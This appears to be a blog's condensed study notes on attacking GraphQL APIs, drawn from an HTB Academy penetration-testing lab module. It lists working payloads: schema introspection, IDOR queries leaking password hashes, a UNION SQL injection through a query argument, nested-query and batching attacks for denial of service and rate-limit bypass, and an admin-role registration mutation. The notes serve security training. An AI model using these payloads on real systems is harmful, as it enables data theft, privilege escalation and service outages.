All articles

Attacking GraphQL — Introspection, IDOR, SQLi, DoS/Batching and Malicious Mutations (HTB CWES)

Built from the Attacking GraphQL module of the HTB Academy Web Penetration Tester path (HTB CWES). Revision notes: every query, payload and tool kept, condensed. Labs and lessons are on HTB Academy.

GraphQL is a query language for web APIs — an alternative to REST where the client picks exactly which fields it wants, all through a single endpoint (usually /graphql, /api/graphql). A query selects fields of typed objects, supports arguments to filter, and supports sub-querying linked objects. That flexibility is the attack surface: introspection hands you the entire schema, and from there every classic web flaw (IDOR, SQLi, privilege escalation) reappears — plus GraphQL-specific DoS and batching abuse.

Fingerprint the engine graphw00f → finds /graphql, names engine Dump the schema introspection: __schema / __type Map it GraphQL Voyager → queries, types, mutations Attack IDOR · SQLi in args · registerUser role=admin · batching / nested-loop DoS
The GraphQL attack spine: fingerprint → introspect → map → attack. Introspection is what makes the rest cheap.

A query reads fields; the response mirrors its shape:

{ users(username: "admin") { id username password } }

1. Information disclosure — fingerprint & introspection

Find and fingerprint the endpoint with graphw00f (detect -d + fingerprint -f):

python3 main.py -d -f -t http://TARGET
# [!] Found GraphQL at http://TARGET/graphql
# [*] Discovered GraphQL Engine: (Graphene)   → Python; see graphql-threat-matrix

Hitting /graphql in a browser often loads GraphiQL — an interactive console where you can fire queries without fighting JSON escaping.

Introspection is the master key: query __schema/__type to recover every type, field, query and mutation.

{ __schema { types { name } } }                    # all type names (incl. custom UserObject)
{ __type(name: "UserObject") { fields { name type { name kind } } } }   # fields → reveals password
{ __schema { queryType { fields { name description } } } }              # all supported queries

Run the full IntrospectionQuery (the big FullType/TypeRef fragment query), then paste the result into GraphQL Voyager (Change schema → Introspection) to visualize queries, types, fields and their relationships. Host Voyager yourself in a real engagement so nothing leaks.

2. IDOR — broken authorization on queries

If a query takes a username/id argument but doesn't check ownership, swap it. The app auto-queries your profile; supply someone else's and see if it returns (escape quotes inside the JSON body):

{ user(username: "test") { id username msg role } }     # returns another user's data → IDOR confirmed

Then widen the field selection using what introspection revealed — e.g. add password:

{ user(username: "test") { username password } }        # exfiltrates the victim's password hash

3. Injection attacks in arguments

GraphQL arguments feed backend queries, so arguments are injection points. First find which queries require an argument by sending them bare — the error names the argument (postByAuthor needs author).

UNION SQL injection. Probe each argument: admin --, then a single quote '. Here user(username:) leaks a SQL error on ' → injectable, and the error shows the query. The UserObject has 6 fields, so the UNION needs 6 columns; the field you select maps to its column position. Use GROUP_CONCAT to pull many rows at once:

{ user(username: "x' UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5,6 FROM information_schema.tables WHERE table_schema=database()-- -") { username } }
# → "username": "user,secret,post"   (the secret table isn't exposed through GraphQL at all)

The database can hold data the GraphQL schema never exposes — enumerate columns and exfiltrate as with any SQLi (see SQL Injection Fundamentals).

XSS surfaces when a response or an error message reflects unsanitized input — e.g. passing a string to post(id:) (expects Int) reflects the payload in the error, though whether it actually triggers depends on how the client renders it.

4. Denial-of-Service & batching

Nested-loop DoS. Voyager shows a loop: UserObject.posts → PostObject.author → posts → … Query it recursively and the response grows exponentially. Note posts is a connection, so descend through edges { node { ... } }:

{ posts { author { posts { edges { node { author { username } } } } } } }

Repeat the nesting enough times and you crash the backend / GraphiQL — an availability attack.

Batching sends multiple queries in one HTTP request (a JSON array). It's a feature, not a bug — but it defeats rate limits: pack 1000 login queries into one request and a "5 req/s" limit becomes 5000 password guesses/s.

POST /graphql HTTP/1.1
Content-Type: application/json

[ {"query":"{user(username: \"admin\") {uuid}}"}, {"query":"{post(id: 1) {title}}"} ]

5. Mutations — writing data & privilege escalation

Mutations modify server data (create/update/delete). Enumerate them via introspection on mutationType, then introspect the input object's fields:

{ __type(name: "RegisterUserInput") { inputFields { name description defaultValue } } }
# → username, password, role, msg  ← role is client-controllable

The win: registerUser accepts a role field. Hash the password as required (MD5 here) and register yourself as admin:

echo -n 'password' | md5sum        # 5f4dcc3b5aa765d61d8327deb882cf99
mutation { registerUser(input: {username: "vautiaAdmin", password: "5f4dcc3b5aa765d61d8327deb882cf99", role: "admin", msg: "Hacked!"}) { user { username role } } }

The response reflects role: "admin" → log in and reach /admin. Privilege escalation via an unguarded mutation input.

6. Tools of the trade

  • graphw00f — find + fingerprint the engine (maps to graphql-threat-matrix).
  • GraphQL Voyager — visualize the introspected schema (spot loops for DoS, find hidden queries/types).
  • GraphQL-Cop -t http://TARGET/graphql — quick audit: flags introspection enabled, batching/alias overloading (DoS), field suggestions, GET-method queries (CSRF). A baseline for manual testing.
  • InQL — Burp extension; adds GraphQL tabs (edit queries without JSON pain), generates queries from introspection, batch attacks.

7. What to carry into the CWES exam

  • Introspection is the whole game — __schema/__type to recover types, fields, queries and mutations; visualize with Voyager. If introspection is off, fall back to field-suggestion error messages.
  • Hunt the password field on user objects, then IDOR any query that takes a username/id and doesn't check ownership.
  • Every argument is an injection point — bare-query to learn required args, probe ', build a UNION with the right column count (introspected field count), GROUP_CONCAT to dump — and remember the DB may hold tables the schema hides.
  • GraphQL-specific DoS: the author↔posts nested loop; batching turns one request into thousands of guesses → rate-limit bypass.
  • Mutations escalate: introspect registerUser/input objects for a client-settable role.
  • Run graphw00f → GraphQL-Cop → InQL first; they shortcut the enumeration.

Cheatsheet — Attacking GraphQL

Enumeration

python3 graphw00f/main.py -d -f -t http://TARGET          # find + fingerprint engine
python3 graphql-cop/graphql-cop.py -t http://TARGET/graphql   # quick security audit
# browse http://TARGET/graphql → GraphiQL console ; InQL (Burp) for query editing

Introspection

{ __schema { types { name } } }
{ __type(name: "UserObject") { fields { name type { name kind } } } }
{ __schema { queryType { fields { name description } } } }
{ __schema { mutationType { fields { name args { name } } } } }
# full IntrospectionQuery → paste into GraphQL Voyager

IDOR / SQLi

{ user(username: "test") { username password } }
{ user(username: "x' UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5,6 FROM information_schema.tables WHERE table_schema=database()-- -") { username } }

DoS / batching

{ posts { author { posts { edges { node { author { username } } } } } } }   # nest deeper to crash
[ {"query":"{user(username:\"a\"){uuid}}"}, {"query":"{user(username:\"b\"){uuid}}"} ]   # batch → rate-limit bypass

Privilege-escalating mutation

echo -n 'password' | md5sum
mutation { registerUser(input: {username:"x", password:"<md5>", role:"admin", msg:"x"}) { user { username role } } }

Built from HTB Academy's Attacking GraphQL module — labs, lessons and the CWES exam are on HTB Academy.